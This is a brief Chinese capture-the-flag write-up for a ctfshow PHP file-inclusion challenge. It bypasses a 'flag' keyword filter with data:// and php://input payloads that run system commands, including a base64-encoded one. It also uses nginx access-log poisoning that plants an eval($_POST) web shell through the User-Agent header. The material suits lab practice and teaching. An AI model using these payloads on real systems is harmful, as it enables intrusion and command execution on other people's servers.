信息收集
题目有了变化,include$c
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
解题
通过协议解题
参考[ctfshow web入门] web31
同样是include,之前的方法还是有效的,只是过滤了flag。只需稍微修改即可
?c=data://text/plain,<?php system("ls") ?>
?c=data://text/plain,<?php system("tac fla*") ?>
或者
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTsgPz4=
?c=php://input
post:
<?php system("ls") ?>
<?php system("tac flag.php") ?>
日志绕过
详情参考[ctfshow web入门] web31,步骤一样
重点:
http没有s
url?c=/var/log/nginx/access.log
user-agent的末尾添加<?php eval($_POST[1]) ?>
此时1是密码,不要使用$_GET
web36 目录 web38